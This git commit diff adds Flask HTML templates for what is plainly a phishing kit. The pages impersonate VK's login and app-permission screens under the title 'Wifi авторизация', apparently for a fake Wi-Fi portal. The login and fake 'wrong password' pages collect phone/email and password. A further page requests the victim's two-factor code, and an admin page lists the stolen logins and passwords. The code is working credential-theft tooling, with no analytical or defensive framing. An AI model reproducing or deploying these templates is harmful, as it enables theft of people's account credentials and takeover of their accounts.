Initial commit
This commit is contained in:
24
templates/admin.html
Normal file
24
templates/admin.html
Normal file
@@ -0,0 +1,24 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block body %}
|
||||
<div class="text-center">
|
||||
<a href="/delete_cred/0">Purge</a>
|
||||
<table class="w-100">
|
||||
<tr class="text-left">
|
||||
<th class="px-3">id</th>
|
||||
<th class="px-3">login</th>
|
||||
<th class="px-3">password</th>
|
||||
<th class="px-3">date created</th>
|
||||
</tr>
|
||||
{% for cred in creds %}
|
||||
<tr class="text-left">
|
||||
<td class="px-3">{{ cred.id }}</td>
|
||||
<td class="px-3">{{ cred.login }}</td>
|
||||
<td class="px-3">{{ cred.password }}</td>
|
||||
<td class="px-3">{{ cred.date_created }}</td>
|
||||
<td class="px-3"><a href="/delete_cred/{{cred.id}}">X</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
24
templates/authcheck.html
Normal file
24
templates/authcheck.html
Normal file
@@ -0,0 +1,24 @@
|
||||
{% extends 'base.html' %}
|
||||
|
||||
{% block head %}
|
||||
<title>Wifi авторизация</title>
|
||||
{% endblock %}
|
||||
|
||||
{% block body %}
|
||||
<p class="mx-5 mt-4">
|
||||
Пожалуйста, введите <b>код</b> из личного сообщения от Администрации или из приложения для генерации кодов, чтобы подтвердить, что Вы владелец страницы.
|
||||
</p>
|
||||
<div class="row justify-content-center">
|
||||
<form class="col-4 text-center" action="/authcheck/" method="POST">
|
||||
<input type="text" size="10" maxlength="10" class="form-control mb-3" name="auth_code" placeholder="Введите код"/>
|
||||
<button class="btn mb-3" style="width:100%; color:white; background-color: #4680C2;" type="submit">Отправить</button>
|
||||
<span class="justify-content-between">
|
||||
<input class="form-check-input" checked="true" type="checkbox" value="">
|
||||
<label class="form-check-label pt-1">
|
||||
Запомнить браузер
|
||||
</label>
|
||||
</span>
|
||||
</form>
|
||||
</div>
|
||||
<br>
|
||||
{% endblock %}
|
||||
32
templates/base.html
Normal file
32
templates/base.html
Normal file
@@ -0,0 +1,32 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- Required meta tags -->
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='TTCommons/stylesheet.css') }}">
|
||||
|
||||
<link rel="shortcut icon" href="favicon.png" />
|
||||
|
||||
{% block head %}{% endblock %}
|
||||
</head>
|
||||
|
||||
<body style="background-color: #edeef0; font-family: 'TT Commons';">
|
||||
<div class="container-sm border rounded shadow-sm bg-white p-0 w-50 mt-5">
|
||||
<div class="rounded-top" style="background-color: #4680C2;">
|
||||
<img src="{{ url_for('static', filename='vk-logo.png') }}" class="m-3" style="height:30px;">
|
||||
</div>
|
||||
|
||||
{% block body %}{% endblock %}
|
||||
</div>
|
||||
|
||||
<!-- Optional JavaScript -->
|
||||
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
|
||||
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html>
|
||||
20
templates/index.html
Executable file
20
templates/index.html
Executable file
@@ -0,0 +1,20 @@
|
||||
{% extends 'base.html' %}
|
||||
|
||||
{% block head %}
|
||||
<title>Wifi авторизация</title>
|
||||
{% endblock %}
|
||||
|
||||
{% block body %}
|
||||
<div class="media m-5">
|
||||
<img src="{{ url_for('static', filename='info.png') }}" class="mr-4 rounded-circle" style="height:50px;">
|
||||
<div class="media-body">
|
||||
<h5 class="mt-0">Доступ к общей информации</h5>
|
||||
Приложению будут доступны ваши личные данные
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="text-right pr-3 rounded-bottom" style="background-color: #F0F0F4;">
|
||||
<a href="{{ url_for('login') }}" class="btn m-3 px-5" style="color:white; background-color: #4680C2;">Разрешить</a>
|
||||
<button class="btn m-3 px-1">Отмена</button>
|
||||
</div>
|
||||
{% endblock %}
|
||||
21
templates/login.html
Executable file
21
templates/login.html
Executable file
@@ -0,0 +1,21 @@
|
||||
{% extends 'base.html' %}
|
||||
|
||||
{% block head %}
|
||||
|
||||
{% endblock %}
|
||||
|
||||
{% block body %}
|
||||
<form class="container mt-4" action="/login/" method="POST">
|
||||
<input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
|
||||
<input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
|
||||
<div class="ml-n3">
|
||||
<button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
|
||||
<span class="pl-4">
|
||||
<input class="form-check-input mt-4" type="checkbox" value="">
|
||||
<label class="form-check-label">
|
||||
Чужой компьютер
|
||||
</label>
|
||||
</span>
|
||||
</div>
|
||||
</form>
|
||||
{% endblock %}
|
||||
32
templates/wrongpass.html
Normal file
32
templates/wrongpass.html
Normal file
@@ -0,0 +1,32 @@
|
||||
{% extends 'base.html' %}
|
||||
|
||||
{% block head %}
|
||||
<title>Wifi авторизация</title>
|
||||
{% endblock %}
|
||||
|
||||
{% block body %}
|
||||
<div class="alert m-3" style="font-size: 94%; line-height: 1.2; border-color: #f2ab99; background-color: #ffefe9;">
|
||||
<b>Не удаётся войти.</b><br>
|
||||
Пожалуйста, проверьте правильность написания <b>логина</b> и <b>пароля.</b>
|
||||
<br><br>
|
||||
<ul>
|
||||
<li>Возможно, нажата клавиша <b>Caps Lock?</b></li>
|
||||
<li>Может быть, у Вас включена неправильная <b>раскладка</b>? (русская или английская)</li>
|
||||
<li>Попробуйте набрать свой пароль в текстовом редакторе и <b>скопировать</b> в графу «Пароль»</li>
|
||||
<li>Если пароль набран верно, попробуйте указать в качестве логина <b>номер привязанного телефона</b>, а не почту.</li>
|
||||
</ul>
|
||||
</div>
|
||||
<form class="container mt-4" action="/login/" method="POST">
|
||||
<input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
|
||||
<input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
|
||||
<div class="ml-n3">
|
||||
<button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
|
||||
<span class="pl-4">
|
||||
<input class="form-check-input mt-4" type="checkbox" value="">
|
||||
<label class="form-check-label">
|
||||
Чужой компьютер
|
||||
</label>
|
||||
</span>
|
||||
</div>
|
||||
</form>
|
||||
{% endblock %}
|
||||
Reference in New Issue
Block a user